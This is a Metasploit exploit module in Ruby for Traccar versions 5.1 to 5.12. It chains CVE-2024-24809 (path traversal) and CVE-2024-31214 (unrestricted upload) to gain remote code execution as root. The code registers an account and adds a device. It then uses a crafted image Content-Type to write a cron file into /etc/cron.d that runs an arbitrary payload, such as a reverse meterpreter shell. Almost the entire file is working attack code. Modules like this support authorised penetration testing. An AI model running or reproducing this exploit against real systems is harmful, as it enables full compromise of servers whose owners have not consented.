291 lines
9.6 KiB
Ruby
291 lines
9.6 KiB
Ruby
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::FileDropper
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Traccar v5 Remote Code Execution (CVE-2024-31214 and CVE-2024-24809)',
|
|
'Description' => %q{
|
|
Remote Code Execution in Traccar v5.1 - v5.12.
|
|
Remote code execution can be obtained by combining two vulnerabilities: A path traversal vulnerability (CVE-2024-24809) and an unrestricted file upload vulnerability (CVE-2024-31214).
|
|
By default, the application allows self-registration, enabling any user to register an account and exploit the issues. Moreover, the application runs by default with root privileges, potentially resulting in a complete system compromise.
|
|
This module, which should work on any Red Hat-based Linux system, exploits these issues by adding a new cronjob file that executes the specified payload.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Michael Heinzl', # MSF Module
|
|
'yiliufeng168', # Discovery CVE-2024-24809 and PoC
|
|
'Naveen Sunkavally' # Discovery CVE-2024-31214 and PoC
|
|
],
|
|
'References' => [
|
|
[ 'URL', 'https://github.com/traccar/traccar/security/advisories/GHSA-vhrw-72f6-gwp5'],
|
|
[ 'URL', 'https://github.com/traccar/traccar/security/advisories/GHSA-3gxq-f2qj-c8v9'],
|
|
[ 'URL', 'https://www.horizon3.ai/attack-research/disclosures/traccar-5-remote-code-execution-vulnerabilities/'],
|
|
[ 'CVE', '2024-31214'],
|
|
[ 'CVE', '2024-24809']
|
|
],
|
|
'DisclosureDate' => '2024-08-23',
|
|
'Platform' => [ 'linux' ],
|
|
'Arch' => [ ARCH_CMD ],
|
|
'Targets' => [
|
|
[
|
|
'Linux Command',
|
|
{
|
|
'Arch' => [ ARCH_CMD ],
|
|
'Platform' => [ 'linux' ],
|
|
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
|
|
'Type' => :unix_cmd
|
|
}
|
|
]
|
|
],
|
|
'Payload' => {
|
|
'BadChars' => "\x27" # apostrophe (')
|
|
},
|
|
'DefaultTarget' => 0,
|
|
'DefaultOptions' => {
|
|
'WfsDelay' => 75
|
|
},
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [EVENT_DEPENDENT],
|
|
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(8082),
|
|
OptString.new('USERNAME', [true, 'Username to be used when creating a new user', Faker::Internet.username]),
|
|
OptString.new('PASSWORD', [true, 'Password for the new user', Rex::Text.rand_text_alphanumeric(16)]),
|
|
OptString.new('EMAIL', [true, 'E-mail for the new user', Faker::Internet.email]),
|
|
OptString.new('TARGETURI', [ true, 'The URI for the Traccar web interface', '/'])
|
|
]
|
|
)
|
|
end
|
|
|
|
def check
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'api/server')
|
|
})
|
|
|
|
return CheckCode::Unknown unless res && res.code == 200
|
|
|
|
data = res.get_json_document
|
|
version = data['version']
|
|
if version.nil?
|
|
return CheckCode::Unknown
|
|
else
|
|
vprint_status('Version retrieved: ' + version)
|
|
end
|
|
|
|
unless Rex::Version.new(version).between?(Rex::Version.new('5.1'), Rex::Version.new('5.12'))
|
|
return CheckCode::Safe
|
|
end
|
|
|
|
return CheckCode::Appears
|
|
end
|
|
|
|
def exploit
|
|
prepare_setup
|
|
execute_command(payload.encoded)
|
|
end
|
|
|
|
def prepare_setup
|
|
print_status('Registering new user...')
|
|
body = {
|
|
name: datastore['USERNAME'],
|
|
email: datastore['EMAIL'],
|
|
password: datastore['PASSWORD'],
|
|
totpKey: nil
|
|
}.to_json
|
|
|
|
res = send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'api/users'),
|
|
'ctype' => 'application/json',
|
|
'data' => body
|
|
)
|
|
|
|
unless res
|
|
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
|
|
end
|
|
|
|
auth_status = false
|
|
|
|
# not quite necessary to check for this, since we exit all cases that are not 200 below, but this is a common error
|
|
# to run into when this module is executed more than once without updating the provided email address
|
|
if res.code == 400 && res.to_s.include?('Unique index or primary key violation')
|
|
print_status('The same E-mail already exists on the system, trying to authenticate with existing password...')
|
|
res = send_request_cgi(
|
|
'method' => 'POST',
|
|
'keep_cookies' => true,
|
|
'uri' => normalize_uri(target_uri.path, 'api/session'),
|
|
'ctype' => 'application/x-www-form-urlencoded',
|
|
'vars_post' => {
|
|
'email' => datastore['EMAIL'],
|
|
'password' => datastore['PASSWORD']
|
|
}
|
|
)
|
|
|
|
unless res
|
|
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
|
|
end
|
|
|
|
json = res.get_json_document
|
|
unless res.code == 200 && json['name'] == datastore['USERNAME'] && json['email'] == datastore['EMAIL']
|
|
print_status('Provide the correct password for the existing E-Mail address, or provide a new E-Mail address.')
|
|
fail_with(Failure::UnexpectedReply, res.to_s)
|
|
end
|
|
|
|
auth_status = true
|
|
|
|
end
|
|
|
|
unless res.code == 200
|
|
fail_with(Failure::UnexpectedReply, res.to_s)
|
|
end
|
|
|
|
json = res.get_json_document
|
|
|
|
unless json['name'] == datastore['USERNAME'] && json['email'] == datastore['EMAIL']
|
|
fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)
|
|
end
|
|
|
|
if auth_status == false
|
|
print_status('Authenticating...')
|
|
res = send_request_cgi(
|
|
'method' => 'POST',
|
|
'keep_cookies' => true,
|
|
'uri' => normalize_uri(target_uri.path, 'api/session'),
|
|
'ctype' => 'application/x-www-form-urlencoded',
|
|
'vars_post' => {
|
|
'email' => datastore['EMAIL'],
|
|
'password' => datastore['PASSWORD']
|
|
}
|
|
)
|
|
|
|
unless res
|
|
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
|
|
end
|
|
|
|
json = res.get_json_document
|
|
unless res.code == 200 && json['name'] == datastore['USERNAME'] && json['email'] == datastore['EMAIL']
|
|
fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)
|
|
end
|
|
end
|
|
end
|
|
|
|
def execute_command(cmd)
|
|
name_v = Rex::Text.rand_text_alphanumeric(16)
|
|
unique_id_v = Rex::Text.rand_text_alphanumeric(16)
|
|
|
|
body = {
|
|
name: name_v,
|
|
uniqueId: unique_id_v
|
|
}.to_json
|
|
|
|
print_status('Adding new device...')
|
|
res = send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'api/devices'),
|
|
'keep_cookies' => true,
|
|
'ctype' => 'application/json',
|
|
'data' => body
|
|
)
|
|
|
|
unless res
|
|
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
|
|
end
|
|
|
|
json = res.get_json_document
|
|
|
|
unless res.code == 200 && json['name'] == name_v && json['uniqueId'] == unique_id_v && json.key?('id')
|
|
fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)
|
|
end
|
|
|
|
id = json['id'].to_s
|
|
body = Rex::Text.rand_text_alphanumeric(1..4)
|
|
fn = Rex::Text.rand_text_alpha(1..2)
|
|
|
|
print_status('Uploading crontab file...')
|
|
res = send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, "api/devices/#{id}/image"),
|
|
'keep_cookies' => true,
|
|
'ctype' => 'image/png',
|
|
'data' => body
|
|
)
|
|
|
|
unless res
|
|
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
|
|
end
|
|
|
|
unless res.code == 200 && res.to_s.include?('device.png')
|
|
fail_with(Failure::UnexpectedReply, res.to_s)
|
|
end
|
|
|
|
res = send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, "api/devices/#{id}/image"),
|
|
'keep_cookies' => true,
|
|
'ctype' => "image/png;#{fn}=\"/b\"",
|
|
'data' => body
|
|
)
|
|
|
|
unless res
|
|
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
|
|
end
|
|
|
|
unless res.code == 200 && res.to_s.include?("device.png;#{fn}=\"/b\"")
|
|
fail_with(Failure::UnexpectedReply, res.to_s)
|
|
end
|
|
|
|
body = "* * * * * root /bin/bash -c '#{cmd}'\n"
|
|
cronfn = SecureRandom.hex(12)
|
|
|
|
res = send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, "api/devices/#{id}/image"),
|
|
'keep_cookies' => true,
|
|
'ctype' => "image/png;#{fn}=\"/../../../../../../../../../etc/cron.d/#{cronfn}\"",
|
|
'data' => body
|
|
)
|
|
|
|
register_file_for_cleanup("/etc/cron.d/#{cronfn}\"")
|
|
|
|
unless res
|
|
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
|
|
end
|
|
|
|
unless res.code == 200 && res.to_s.include?("device.png;#{fn}=\"/../../../../../../../../../etc/cron.d/#{cronfn}\"")
|
|
fail_with(Failure::UnexpectedReply, res.to_s)
|
|
end
|
|
|
|
vprint_status('Cleanup: Deleting previously added device...')
|
|
res = send_request_cgi(
|
|
'method' => 'DELETE',
|
|
'uri' => normalize_uri(target_uri.path, "api/devices/#{id}"),
|
|
'headers' => {
|
|
'Connection' => 'close'
|
|
}
|
|
)
|
|
|
|
unless res
|
|
print_bad('Failed to receive a reply from the server, device removal might have failed.')
|
|
end
|
|
|
|
unless res.code == 204
|
|
print_bad('Received unexpected reply, device removal might have failed:\n' + res.to_s)
|
|
end
|
|
|
|
# It takes up to one minute to get the cron job executed; need to wait as otherwise the handler might terminate too early
|
|
print_status('Cronjob successfully written - waiting for execution...')
|
|
end
|
|
end
|